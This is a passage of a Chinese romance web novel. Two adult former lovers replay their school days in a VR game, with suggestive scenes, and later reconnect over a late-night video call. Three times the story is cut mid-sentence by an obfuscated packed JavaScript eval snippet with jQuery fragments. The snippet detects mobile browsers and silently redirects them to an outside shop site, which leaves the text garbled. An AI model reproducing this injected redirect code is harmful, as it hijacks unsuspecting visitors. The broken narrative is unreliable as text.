回溯的进度可以由她自由选择节点,秦舒禾选择是上次自己和祝筠躲在柜子里,她正要去吻过去的那一刻。
秦舒禾不再主动,听到了外面黄主任的脚步声走远后,便抬手抬手了柜门。
祝筠猛地睁开眼睛,大有一种重见天日的感觉。她的喘息尚未平息,刺激的波动在她连接游戏的那一瞬间便重新回到了心跳和呼吸中。
她甚至已经做好了秦舒禾再次吻过来的准备,可这次秦舒禾却选择放开了她。
就像晚上聚餐那样,和自己保持了距离。
祝筠的面板之上显示着她正在慢慢降下来的数值,她一时仍僵坐在了木桶上,黝黑的瞳孔里带着一丝怅然若失,望着秦舒禾。
秦舒禾的校服穿的很不规矩,就连中裙都被她折起边角,成了更活泼的短款,更多地露出了那双白皙的双腿。
领口歪歪扭扭地,拉链扯下去一半,锁骨很抢眼,还用一根格纹的短领带松松垮垮地系住,脖子上还坠着一个星星吊坠,在阳光下的尘埃里闪耀个不停。
“好学生,知道你真的很怕我了。”秦舒禾勾起一个肆意的笑,起身故意在祝筠的面前晃了晃手中已经折叠好的情书,“宁肯对不喜欢的人写情书,也不想被黄主任发现和我有关系。”
祝筠的胸口起伏着,气息不匀:“秦同学,回去上课好吗?”
秦舒禾不屑地走动,屈着手指在柜台上轻敲:“祝筠,你这么热衷于拯救每一个不去上课的坏学生吗?”
祝筠抿着唇一言不发,她垂着眸的样子能清晰地看见那如小扇子一样的睫毛阴影,微蹙的眉头又带着一丝委屈。
像是被凶了之后不知所措的小猫咪。
如果是现实中的祝筠,是肯定不会在她的面前露出这种表情的,秦舒禾原本已经抬脚要走,却被祝筠的这幅模样吸引,痴迷地将视线注视着。
祝筠的美貌从少女时期就已有目共睹,她的轮廓立体,皮肤又白,成绩还好,校园里不知有多少望向她的眼睛,秦舒禾就是其中之一。
可她高中时怯懦,只敢在祝筠在门口当作为风纪检查员站岗时,多看两眼祝筠的侧脸。
这些祝筠未曾知晓的记忆,在模拟出来的校园里,成为了一个又一个小的剧情点。
就这么安静了几秒,秦舒禾忽然上前走了两步。祝筠似乎怕她又做些什么,抬眸时的眼角带着淡淡的薄红。
含着一点点的泪光,所以眼睛像波光粼粼的湖面,好像随时要哭。
那她能不能真的在这哭给自己看?
秦舒禾也不知道为什么,只要看到祝筠的这个样子,就觉得祝筠特别适合被自己弄哭。
“答应我一件事,我就去上晚自习,怎么样?”秦舒禾重新把那封情书放在了刚才祝筠趴过的柜台,“我知道明天你负责晚间广播,你在广播里念出这封情书,以后我就听你的话。”
祝筠的眼睛骤然睁大,那双本来清冷疏离的双眸换了模样。
“怎么可以……”
秦舒禾,好坏。
加在祝筠身上的npc属性在生效,说出这四个字之后,别的拒绝的话祝筠发现自己竟无法开口。
“不愿意啊?那我走咯。”秦舒禾无所谓地啧了一声,转身就往外走去,身后立刻传来急呼。
“等等!”
伴随着木桶的磕碰声和有人跌落的声响,秦舒禾立刻回望,发现祝筠狼狈地倒在了地上,一侧的膝盖已经擦红了起来。
还好底下就是体操垫,才没让这一下摔的太重。
秦舒禾立刻走了回去,蹲下来才发现祝筠的脸色更红了,眉头皱的也更厉害,唇紧紧地抿着。
她低头去看,指尖轻轻停在祝筠的小腿:“抽筋了?”
祝筠声音很小:“疼……”
“忍着。”秦舒禾说,她将体操垫拖了一点出来,把祝筠的身体放平,“我帮你按一下。”
祝筠:“不、不用。”
“乖一点,还是你想让我背你出去?”
摔倒的时候,祝筠的衬衫也翻卷起来,裙摆不再那样死板地遮到膝盖,她因为动不了而被迫接受了秦舒禾的帮助,像一个任人摆布的瓷娃娃。
祝筠的双腿颤抖着,忽然伸出一只手覆盖住了自己的眼睛,不敢再和秦舒禾燥热的眼睛对视。
秦舒禾跪在了祝筠的身体旁边,体操垫被压地陷了下去,她的双手触碰到祝筠的小腿,开始按捏。
她用的力气已经很小了。
可秦舒禾还是听见了祝筠瞬间加重的呼吸,逐渐变得上气不接下气的喘。
祝筠不知是好一些了,还是更不好了,她的声音,断断续续地出现,像水一样软,像糖一样稠,“好痛……”
秦舒禾此刻极具耐心,听着祝筠不知是抱怨还是想要的声音,觉得自己的刚才的力气还是太温柔。
祝筠的肌肤滑的她快要捏不住。
逐渐。
祝筠的眼泪从指间涌出,秦舒禾却腾出一只手去,不容拒绝地揭开了祝筠的手。
她很坏,她就是想看祝筠变得湿漉漉。
6. 裙摆
“哭什么?我按的很疼?”秦舒禾开口询问,温热的掌心仍旧覆盖在祝筠的小腿上,但她停止了按捏。
隔着薄薄的皮肤,秦舒禾感受到掌下的纤长身体正在细微的颤动。
“现在不按,等会儿更疼,按开就好了。”
细腻流于手心,秦舒禾真想看祝筠什么时候会忍不住叫出来。她的视线从未有一刻离开过垫子上躺着的祝筠,流泪的眼角,绯红的脸颊,红的唇和散乱的黑发。
就连被打湿成一簇又一簇,仍旧在发颤的睫毛尖都这么的漂亮、逼真。
泪珠滚落时的晶莹,划过脸颊时留下的湿润泪痕,都与现实无异。
祝筠一直在紧张,所以自己的手不管到哪里,那一小片的皮肤都会不由自主地开始绷紧。
那种紧致感,也无比真实地传导了过来。
秦舒禾感慨游戏的技术支持竟能做到这种地步。她感觉到自己就是在和一个活生生的人来进行互动。
但也幸好是知道在游戏里,她才敢如此的肆无忌惮,将自己的学生时代从未展露过的坏心思展露无疑。
她对祝筠的关注比祝筠看到自己要早更多。
有了机会,她很难放弃。
祝筠抿着唇,咽下了即将涌出的呜咽,感受到自己的泪水在被轻柔的指尖抹去。
她偏过头。
知道秦舒禾正在注视着自己,她感到身体正一塌糊涂,自然无法回应秦舒禾那灼人的视线。
“让我待一会儿……一会儿就好。”祝筠听见自己的声音竟然像受了什么委屈,又带着哭腔,像是在央求。
秦舒禾:“一会儿怎么好的了?”
祝筠感到自己小腿的抽搐又有卷土重来的架势,仿佛也知道去回应秦舒禾的话,羞恼之下,眼泪居然也不受控地流个不停。
“秦舒禾!”
如果是现实中的祝筠来连名带姓叫自己的名字,可能还有几分像是生气了的重话。
现在的祝筠可不是。
她凌乱的神情、卷起的裙角,潮红的眼尾,在忍不住并拢的双腿,都显得这声称呼像是一种情趣。
“我帮你。”秦舒禾的手再度覆上去,声音里染着笑意。
她还是那个半跪在祝筠身边的动作,早就料到了祝筠无法拒绝自己。
“转过来,我帮你按一下腿肚子。”
祝筠红着眼睛,诧异地看着秦舒禾。
秦舒禾反之挑眉,歪了下头,似乎在问她这个要求有什么问题。
……不知道秦舒禾为什么能在做这么多混事的时候还有这么纯真的表情,她要不要看看自己的手贴在哪里?
祝筠:“……可以了。”
“我说不够。”秦舒禾的双手移转到祝筠的腰腹,作势要把她翻转过来,好好按揉腿肚子。
祝筠:“别这样!”
秦舒禾的动作停了下来,手就贴在祝筠的腰测。刚才这点动作早已经让她的校服衬衫不堪重负,一截冷色的细腰若隐若现。
盈盈一握的。
在欣赏祝筠这方面,秦舒禾向来有耐心。
哪怕在一起也有三年的时间,可在一起之前,秦舒禾有太多悄悄注视着祝筠的时候。
她走过了祝筠经过的小道,坐过祝筠背书时坐过的长椅,甚至连祝筠经过的台阶,都慢慢地用脚尖描摹过一遍。
祝筠的气息,哪怕很细微,也让她着迷地去寻找。
秦舒禾知道自己奇怪,她以前心里其实一直带着点小自卑,以为自己永远不可能出现在祝筠的视野里才对。她太过平平无奇,不管做什么都是中游水平,太容易被忽略。
因为知道自己不可能,连在校园里碰到祝筠,她都会悄悄地等在一边低着头,连打个招呼的勇气都没有。
这也导致了她们在一起之后,秦舒禾还是习惯性地将自己放在低位。
祝筠和她像是两个世界里的人。
她还在仰望着祝筠,也会悄悄地,不好意思地盯着祝筠看。像个盗取了价值连城的珠宝的小偷,又是狂喜却又怕被人发现。
现在的她不一样了,可这种欣赏祝筠的习惯没有变。
正经的祝筠好看,哭泣发抖的祝筠更诱人。
不过现在她感觉不能操之过急,免得像一周目那样直接失败。
只要是在给抽筋的腿按摩这个范畴里,应该什么都不算过火。
“我帮你拉伸一下,来,听话,抬腿。”秦舒禾握住祝筠的脚踝往上抬起,帮助祝筠将腿压到极限。
极限……似乎没有,秦舒禾也没想到祝筠的身体居然这么柔软,她已经快要折到最底了,祝筠没喊停也没喊疼,只是偏着头,一副任由她折磨的样子。
中裙俨然成了摆设,裙摆都快要因为这个姿势全部翻到了小腹上。
秦舒禾放开了她。
“这么讨厌我吗,连看都不愿意看我了?”
祝筠:“不是你想的那样。”
“那你看我。”
祝筠没有动,不知道在赌什么气,祝筠轻柔地掰过她的下巴,很容易就让祝筠和自己对视。
祝筠的唇抿着,双眸水润清亮,脸上的热意还未消退。
但秦舒禾清楚她是在生气。
很好,看来祝筠的抽筋是真的缓解了。
秦舒禾故作正经,主动伸手把祝筠扶着坐起来,脸上带着一丝笑意:“生气啦,祝同学?你要是真讨厌我,刚才怎么那么着急过来找我呢?”
她脖子上挂着的星星吊坠晃啊晃的,像一个真的在夜空中闪耀的星星,把祝筠弄得心烦意乱,浑身的燥意难以消退。
“我没有讨厌你。”
“那你就是答应我的要求了?”秦舒禾说,“那就这么说好了,明天我会来广播室找你。”
“我哪有答应你这个!”简直是胡搅蛮缠,祝筠无力地反驳,声音柔弱到自己都发现了没有什么威慑力,她刚褪下去一点的脸颊又重新涨红了。
啪。
轻轻的一声巴掌响在安静的器材室里回响,秦舒禾的手心拍在了祝筠的裸露的大腿上。
祝筠这才意识到,因为姿势的关系,自己的一条腿居然还搭在秦舒禾的跪坐的腿上。
祝筠一僵,将腿移走,把裙摆放下来:“你拍哪儿呢!”
她还能遮住什么?刚刚自己想看的早就看完了。
秦舒禾觉得这样的祝筠真好玩,她站了起来整理了一下自己的衣服,摩挲了一下自己的指腹:“明天见,祝同学。”
祝筠以为秦舒禾要离开了,可秦舒禾又折返,俯低,双手贴住祝筠的两边发丝,亲昵地揉了揉。
“你现在讨厌我也没关系,祝筠,”她盯住祝筠微微张开的唇,说,“以后你还是要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004683|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和我在一起的。”
秦舒禾脚步轻快地走出了器材室,下课铃声刚好响起。
副本里的时间流速是不同的,玩家离开了这个剧情点,就可以进入下一个剧情点了。她因为用管理员的权限登入游戏,会更容易触发剧情点。
还来不及回味刚才给手心带来的残余温度,下课铃声响起,在操场训练的体育生们扯下自己的训练服,旁边有足球飞过,接着是大批涌出的学生。
不时有人和她打招呼,看起来“校霸”这一设定让她名声在外。
她看着场景一幕幕在自己的眼前掠过,回到了出租屋里,摆弄手机,睡觉,再到第二天的清晨。
一切都和她记忆中差不多。
因为她设定的模拟世界目的是让祝筠心甘情愿给自己写一封情书,这和让祝筠喜欢上自己是一个意思。
所以,副本里应该会更多地展开自己和祝筠的交集。
比如现在。
秦舒禾低头一看,自己已经换了一套衣服,上半身穿着一件宽大的oversize黑色卫衣,下半身穿着折成了超短的校服裙,小腿袜和球鞋。
如果只是这样,那还算得上学生气。
可秦舒禾的身上还叮叮咣咣地挂满了别的装饰,链条、胸针、小玩偶,甚至还有个放钥匙和口红的超小mini包,就用胸针别在一侧。
把自己打扮成了个痛人。
这是秦舒禾中学时非常想试却从来没试过的装扮,在副本里被系统提取了。
好看,秦舒禾对自己发出锐评,青春蓬勃的年纪本就是最好的装饰。
果然不去做是不会知道自己有多合适的,以前她总是畏畏缩缩,觉得自己不行。
单肩松松垮垮地挎着书包,秦舒禾在进校门的时候被拦了下来。
拦她的自然是熟人。
祝筠今天的表情和秦舒禾手里拿的冰奶茶一样冷,穿得规规矩矩,衬衫、中裙,学院风的小皮鞋和短袜。
与昨天不同的是祝筠的手臂上别着一个肩章,上面绣着“风纪”两个金色楷体。
春夏之交,早晨的阳光已带上薄薄的热度。和祝筠站在一起的其他人额头已经渗出了细汗,只有祝筠还是那么干净清爽,一点汗意都没有。
在她所处的空气里,萦绕着祝筠身上的细碎的淡香,宛如和他人天然的屏障。
好闻,熟悉。秦舒禾深吸了一大口,察觉到这个香气今天她在祝筠的身上也闻见过,她在洗手间里和祝筠靠的很近。
既然祝筠能这样专一,几年如一日地都用同一款香水,为什么不能继续专一的喜欢她呢?
秦舒禾的目光落到了祝筠的身上。
“秦同学,请穿好校服。”祝筠看着存在感很强烈的秦舒禾。
秦舒禾:“哪儿没穿好?”
她随手将卫衣的拉链扯下,露出里面的校服衬衫。
其他人倒是不敢和秦舒禾起冲突。
“你的裙子。”祝筠顿了顿,视线下移,“太短。”
所有人的裙子都统一成中裙的高度,就秦舒禾的不一样。两条修长纤细的腿很难不让人注意到。
“是吗?风纪委员。”秦舒禾往祝筠站的方向靠近一步,脚尖对着祝筠的脚尖,完全侵占了祝筠的和个人距离。
她的语气调笑:“那就请你来帮我将裙子放下去吧。”
7. 攥紧
秦舒禾一动不动,就这样等着祝筠的动作。
人来人往的校门口,其他人好奇的目光不时飘来。秦舒禾知道祝筠的脸皮薄,承受不了这种压力。
风纪委员在校门口检查仪容仪表,把不符合的人揪出来,再让他们都穿戴好。
秦舒禾不过是让风纪委员代劳而已,这样也更能明白祝筠想要一个什么标准。
果真,祝筠的视线一扫,似乎是想让她旁边的女孩来做这件事。
“喂,祝同学,我说的可是你啊。”秦舒禾只一个眼神,别人就不敢上前来了。她靠近祝筠,用悄悄话似的气音勾着人,“昨天我们是不是说好了,我只听你一个人的话。”
“还是你不记得了,需要我替你回忆?”
明明是宽敞的地方,却因为秦舒禾的靠近,让祝筠感觉自己再次被困在了昨天的方寸之间,只能任由秦舒禾摆布。
她的脸色开始不自然,连露出的耳朵都肉眼可见的染上红色。
祝筠今天扎着马尾,什么小细节都逃不过秦舒禾的眼睛。
“秦舒禾,你站好。”
秦舒禾当没听见,脸上挂着显而易见的笑意,脚尖轻轻碰着祝筠的,“快些,你亲自来,不然我就一直在这里等你。”
祝筠拿此时的秦舒禾半点办法都没有。
她冷着脸,拖住秦舒禾的手腕,将她带到一边人没有那么多的地方。
秦舒禾怡然自得,动作轻快,裙摆跟着微微地摇晃,偶尔上扬时擦过祝筠的手腕。
祝筠低头将那薄薄的一片攥住。
裙摆往内折了三圈,用细长的别针别住,就成了短裙的样式。
确实是很适合秦舒禾的样式,可也太招眼。
哪怕隔得很远,祝筠也早就看见了。
秦舒禾过来的时候,一路上的学生都在偷偷打量她。有些人还停了下来,也在旁边的文具店里买了一盒别针,想要跟着秦舒禾一起尝试。
弯下腰不方便,祝筠直接蹲了下来,就在秦舒禾的腿边开始拆那些别针。
从内像外别的,且为了不影响外面的美观度都别进了深处。
本来就已经很短了,又紧贴着腿根的皮肤,祝筠不知如何下手。拆掉那些不那么敏感位置的别针,已经让她心跳如擂,紧张的快要冒汗。
秦舒禾一动不动地站着,才上往下地俯视着祝筠,这个角度让祝筠显露出一种难得的顺从。
她不知道祝筠在为难什么,甚至想帮一帮忙,为她往外翻转裙摆,好露出里面的金属别针。
“秦舒禾,这是在外面!”哪想到祝筠的反应比秦舒禾还强烈,将裙摆往秦舒禾的腿上死死护住,她的手心烫的惊人,温度隔着布料传到了秦舒禾的身上。
怎么,不在外面就是可以了?
祝筠抬头看到秦舒禾唇边还有未退的弧度,她嗫嚅了下唇,竟忽然什么都说不出来。
“那我到没人的地方给你看。”秦舒禾的嘴里还在吐出这类惊世骇俗的话,“祝同学,快一点啊,大家都在看着我们。”
她盯着祝筠的唇看。
祝筠自然的唇色很淡,像早樱一样粉润。在接吻之后又会格外的红润,水色流连,秦舒禾不要更喜欢。
她已经太久没和祝筠接吻,除了偶尔在梦里。
祝筠尽力不去思考秦舒禾话语里的暧昧不清,可平日里灵巧的手指在对付别针这件小事上完全失去了控制。
秦舒禾:“把手伸进去,一下就会弄开。”她的语气称得上循循善诱。
祝筠闭了闭眼,认命似地将手背朝内探入。纵使她多为小心,可手背还是在解开我别针时避无可避地碰触到了秦舒禾柔嫩的皮肤。
还有一些花边的触感,似乎是蕾丝,不松不紧地勒着腿肉。
这个认知让祝筠的指尖发烫,一言不发,不知怎么感觉眼眶里好像要涌上泪水。
并非悲伤,而是羞愤与隐隐的恼怒混杂,乱糟糟一团。
这次动作的人明明是她,可祝筠感觉到自己对身体却毫无掌控权,还是被秦舒禾玩弄于掌心,又回到那个泪珠滚落的体操垫上。
祝筠终于摘下了最里面的三个别针,紧攥在了手心,腾地起身,她没有要还给秦舒禾的意思。
秦舒禾对她眨了眨眼,贴着耳边说:“你的手好热。”
轰然间,强烈的刺激让祝筠的眼前一片泛白,场景又光屏覆盖,上面写着系统提示:【管理员001号已退出游戏,您可自由探索。】
祝筠摘下了自己的头盔,双腿有些发软地撑着自己离开了全息舱,看着自己早就飙升到不正常值的心跳,觉得自己无法继续这样下去了。
她一时分不清自己沉溺的到底是现实还是幻境。
在挨着全息舱缓了一会儿后,祝筠才褪去已经皱缩的外套去洗漱。
回来的时候,她为了等待秦舒禾上线,连衣服都没去换。
***
另一边的秦舒禾是在闹钟的声音下从全息舱里出来的。
时间到了,清洗面膜。
如今秦舒禾对自己脸部的保养格外看重,效果也很卓越,她对着镜子轻轻拍着自己的脸,想着刚才祝筠的表情。
明天上班必须去技术部夸何
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004684|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恬予了,怎么能做的这么逼真的。
记得她们当时一起在大学里讨论这个游戏的可行性时,连想法都是粗糙的。
秦舒禾打开水龙头很久都没出热水,她皱眉去探,寒意刺骨。
立刻跑到厨房里去看,才发现是燃气灶坏了在报警。天,怎么偏偏挑这个时候?
她还想等着祝筠给自己念情书。
时间已经不早了,这个点没办法再找人上门来维修。想到自己才刚住过来不过半月,热水器已经坏了三次,秦舒禾心里涌起一阵郁闷。
这房子就在闹市区,当时她刚回国时给她发邀约的offer都是市区里的top公司,这套公寓的位置刚好,还恰好腾出人来,价格合适,秦舒禾不是个拖沓的人,人在国外还没回来的时候和房东视频看了房就定下来了。
也是高级公寓一档,她觉得安全也有保障。一开始还好,后来家里的电器就陆陆续续出小毛病。
房东还在合同里写了不能自己更换,这些小麻烦不断是很磨人的。
她在生活上往往不会注意太多细节,这一点以前祝筠就提出过,还说她迟早要吃亏。
秦舒禾从前没觉得怎样,现在祝筠不在身边,自己又真切体会到了不便,才发觉祝筠说的也有点道理。
用冷水洗了脸,秦舒禾也没了再去玩游戏的兴致。
刚好她的手机响了。
拿起一看,上面的提示消息却让她一顿。
【祝筠请求添加你为好友】
秦舒禾眯了眯眼睛,祝筠是听见自己心里在腹诽了吗,怎么会来的这么及时。
她故意没理,开着手机屏幕等。
又过了两分钟,祝筠又给她发了一次,这次带上了备注消息。
【是我,祝筠。秦总监能不能通过一下。】
秦舒禾被祝筠这公事公办的语气逗得不知该笑还是气,在备注里回:【下班时间我不想工作】
祝筠:【抱歉,我没有想和你谈工作】
秦舒禾想了一下,先去朋友圈把自己所有的动态都关了,然后发了一条新的。
【孤家寡人一个,大半夜的还没热水,澡都没洗T-T】
配图坏掉的燃气灶。
设置分组不可见。
她利落地把自己目前的所有好友都勾选上了。
做完这些后,秦舒禾通过了祝筠的好友申请。
那边可能以为秦舒禾还要拒绝几个来回,显示正在输入中却没来消息。
又过了三秒,秦舒禾耐心等着。
祝筠发来了第一条消息:【热水器坏了?】
8. 熟悉
虽然秦舒禾自己做了这些就是为了测验祝筠还会不会对自己关注,此刻目的达成,她还是很想调侃祝筠一声。
祝总日理万机,竟然还有闲心来关注自己前任的热水器吗?
秦舒禾晾着人没回,转而去翻看了祝筠的朋友圈。
自从和祝筠分了手,秦舒禾就把祝筠删掉了,并自发地屏蔽了和祝筠有关的一切讯息。
不然也不至于上班的第一天才知道自己的上司是祝筠。
她在外的这三年,是真的和祝筠丁点联系都没有。
哪怕醉酒、新年这样特殊的孤单时刻,她也忍住了自己去发一条匿名短信的冲动。
偶尔有外国同学打趣她:“秦,追你的人这么多,为什么不试着和人date……你在为谁守着你的心?”
问就是倔。她就是要证明自己离了祝筠,也照样能自己活的好好的。
事实证明,她做得到。
祝筠这三年并没有什么多的动态。
也就比在一起时多了几条,很寥寥。
其实和秦舒禾离开的那年差不多,这也很好想,因为祝筠并不喜欢发朋友圈。
就连自己在一起的那几年,祝筠的朋友圈都发的很少。
一开始秦舒禾就知道了祝筠是个这样的性子,不喜欢展露自己的私生活,对网络上的互动并不在意,更不要说秀恩爱。
祝筠的朋友圈里从未出现过她的露脸照片。
在一起快三年,还是在自己强烈的要求下,在两周年纪念日的那一天,祝筠发了三张和自己约会吃饭的照片。
她的手出镜了,但人没有。
不知那时候祝筠的朋友圈是怎样评价的。
那会儿秦舒禾亲眼看见祝筠摆在床头亮着的手机微信上,短短两分钟的时间就多了二三十个赞。
但秦舒禾这边看不见,她和祝筠的朋友圈并不重合,除了唯一的共同好友何恬予。
祝筠对她向来坦诚,秦舒禾也没有去看她手机的习惯。
秦舒禾是等到祝筠出来后才问:“大家都说了什么?”
那时祝筠擦着滴水的头发坐在她身边:“都说你的手很漂亮。”说完,就熄了手机屏幕的亮光。
或许当时祝筠说一声“大家都说我女朋友的手很漂亮”,秦舒禾都不会耿耿于怀这么久。
是的,祝筠也不是那种将“我女朋友”放在嘴边的人,又加上不常和秦舒禾腻在一起,知道她们关系的人少之又少,和地下恋情没什么两样。
倒是方便了祝筠,分手的时候,连朋友圈都不用删。
秦舒禾往下滑了没多久,就看见了那条和自己的纪念日照片。
她自然是还没删,可能是觉得没必要,反正也什么暧昧的话都没说。
手机再次震动起来,是祝筠再次发来了消息:【睡着了?】
秦舒禾这会儿回了过去:【没,刚洗了冷水,在想换房子的事。】
前半句是骗人的,后半句不一定。
房子要换就要趁早,免得住久了之后搬家麻烦。
秦舒禾有点受够这房子了,但也还没下定决心,主要是目前没有更加合适的房源。
祝筠:【给我看看热水器。】
秦舒禾嗤笑一声,祝筠这话说的,好像和自己分手的人不是她一样。
这对吗?
哪怕是秦舒禾,其实也只敢在游戏里对祝筠肆无忌惮。到了现实生活里,她牢记着自己和祝筠之间的身份。
起码,在祝筠不给她什么讯息之前,她会。
深夜会让人变得胆大,而前任大概最适合用来练胆。
秦舒禾狠狠心,沾了凉水来将自己前额的发丝打湿了几缕,又余留了一些未擦净的水珠,拨通了视频通话。
很快接通。
祝筠的脸在手机屏幕里展露无疑,毫无死角。
秦舒禾这边的手机角度只能看见她光洁的少许额头,远黛似的眉,以及一点密羽般的浓睫正在眨动。
秦舒禾是故意用这个角度的。
祝筠那边光线不亮,有些许蓝色的幽光从旁侧溢过来,在祝筠的脸上落下光影。
秦舒禾再熟悉这道光亮不过,是全息舱没关。
怎么,祝筠现在也在玩游戏?
“给我看看你。”祝筠已经看见了秦舒禾被打湿的头发,那边的光线很亮,白色的光线透出冷意。
就连额前缓缓滚落的水珠,也在为秦舒禾的话增加几分可信度。
她知道秦舒禾在这些小事上时常处理不来,眼前不免出现了秦舒禾可怜巴巴又狼狈的模样。
祝筠想到秦舒禾进电梯里的冰咖啡不离手,语气隐约透出了几分急切:“这么冷的天怎么能洗冷水?”
“这是你该管的事吗,祝总。”秦舒禾挪动了镜头,露出的前面头发几乎都是湿的。
她很快调转了镜头,对准坏掉的热水器。
“你看看这是不是真的坏了?”
祝筠在这边因秦舒禾话语里的生疏和抵触而微微皱起眉,最终她咽下了喉头涌上的涩意。
她听得明白秦舒禾想要和自己划清界限的意思。
现在的她们不过就是上下级,就连现在秦舒禾都只叫她祝总。
秦舒禾倒腾了好几下水龙头,祝筠就在镜头这边看着,将可能的原因逐一排除后得出结论:“坏了。”
秦舒禾轻叹口气:“难怪洗完头就没水了,现在又不可能找人来修……麻烦。”
说着,她的声音颤了颤,似乎是冷着了。
现在祝筠的眉头皱的更明显:“先去把头发吹干。”
秦舒禾语气散漫:“懒得去。有暖气,一会儿要干了。我还想洗个澡。”
“明天再洗。”
“不洗干净我睡不着。”秦舒禾的手贴在自己已经吸收了身体乳的大腿上,滑的很满意,她的声音低下来,将手机移近,一眨不眨地看着镜头,“你知道的,我的习惯。”
“……”
一刹那间,祝筠没能开口。
她想到之前两人还在一起的时候。
秦舒禾对于睡前洗澡有一种强烈的执着,她说这是自己初中时发现的小诀窍,在睡不着时洗个澡,就能神奇地睡熟。
有时候她甚至能大晚上的起来洗个热水澡。
渐渐地就养成了习惯,不洗会睡不着。
秦舒禾和祝筠住在一起后的第一次肌肤相亲,两人都折腾的精疲力尽,尤其是秦舒禾,她累的睡着了。
祝筠怕吵醒她,为秦舒禾做了简单的清洗,想让她先睡好。
结果,半夜四点多,秦舒禾凭着本能起来冲澡,腿一软摔下床,将祝筠吓了个够呛。
从那之后,祝筠对秦舒禾的这个习惯记得很深。
此时听秦舒禾提及,脑子里想的画面不可避免地出现了那一晚上发生的事。
祝筠:“……不能洗冷水,忍一忍。”
上班的时候就看见秦舒禾一直在喝冷饮,现在大冬天的怎么还能让去洗冷水澡?
“我们现在是你还可以管着我的关系吗?”秦舒禾问的直接。
祝筠的语气淡淡:“作为上司,我也不希望我的员工生病。”
“资本家。”
秦舒禾呵了一声,就知道不能从祝筠的嘴里听见什么好话。
“我去外面洗,你挂吧。”
“你看看现在几点了?”祝筠说,“现在出去不安全。”
秦舒禾:“那怎么办呢?祝总?”
她看着镜头里的人。
祝筠一时缄默,嘴唇动了动,最后什么也没说。
秦舒禾和她隔着手机屏幕大眼瞪小眼。
最后,秦舒禾作势要起身:“好了祝总,你挂视频,我去拿下衣服准备出门了。”
就在秦舒禾准备挂断电话的瞬间,祝筠说:“一定要去?”
“一定要去。”
“……那我来接你。”
秦舒禾的动作顿住:“您说什么?”她因为惊讶,又更加靠近了手机一些。凑近看,秦舒禾的脸反而显得更小了,灵动的眼睛更加惹人注目。那双琥珀色的狐狸眼眼尾上翘着,里面透着清晰的不解。
因为秦舒禾的凑近,祝筠也不由得把手机拿近了一些。
她有太久没有好好看清秦舒禾了,就好像这么做能够让自己补上那些缺失的时间,细致地看到秦舒禾在时间流逝里的改变。
直到发现自己的鼻尖快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004685|194019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要挨到屏幕,祝筠才如梦初醒般停下。
看着镜头里的自己,祝筠忽然意识到,这是一个她格外熟悉的角度。
秦舒禾刚毕业上班的那段时间,有阵子到外面出差的次数有点频繁,秦舒禾很恋家,一出门了就想祝筠想的不得了,晚上恨不得掐着点的等着和祝筠打电话。
她总是想多看清祝筠一些,就总是用这种姿势。
明知道隔着手机,人又不可能真的穿过手机去,可恋爱中的人们总是在重复这种看似痴傻的日常。
还觉得格外高兴。
原来那时候秦舒禾的心情是这样的,祝筠想。
祝筠说:“别误会,我看到了你入职表填的住址,我也住在市中心这一块,离你近。”
顿了顿,祝筠又补充道:“我只是送你安全到酒店就可以。”
她发现秦舒禾的脸色有点古怪。
“怎么了?”
秦舒禾勾了勾唇角:“祝总,你知道我们已经分手几年了吧。”
祝筠:“不用特意提醒我。”
秦舒禾嗯了下:“所以深夜前任忽然提出送我去酒店,我心里还能想什么呢?”
“秦舒禾,不要把事情想的太复杂。”祝筠忽然连名带姓地喊她,似乎这样就能把两人以前的关系撇个干净,以此来证明自己单纯的善心不假。
多可惜啊,可惜的是秦舒禾只知道,自己可没有这么单纯。
她失笑:“知道了,祝总人就好,我这就换好衣服等你,麻烦您啦。”
祝筠:“……挂吧,你先挂,我就出门。”
秦舒禾看见祝筠脸上的那点蓝色幽光已经消失,看来是已经关闭全息舱要出去了。她毫不留恋地点了挂断,把具体的位置发过去后,火速从床上下来。
挑衣服,选一件漂亮且看起来美得毫不费劲的。
头发保持微微卷度的同时前额还是要有一点湿意,发尾也是。
香水,补上。
所有边边角角都得香香的,包括且不限于耳后,颈窝、肩下、腰背后方等隐私部位。
不能打没有准备的仗,没准呢?
……她也不是觉得两人会发生关系的意思,就是觉得不管发生什么,在前任的面前一定一定要保持精致。
祝筠发来了导航图,秦舒禾才知道祝筠住的地方离自己也就2.6公里,开车没几分钟就要到了。
很快,祝筠说她到了。
秦舒禾要往下冲,祝筠又发来一条语音说让她记得带披肩。
她啧了一声,抓起衣帽架上的披肩裹在身上,提包出门。
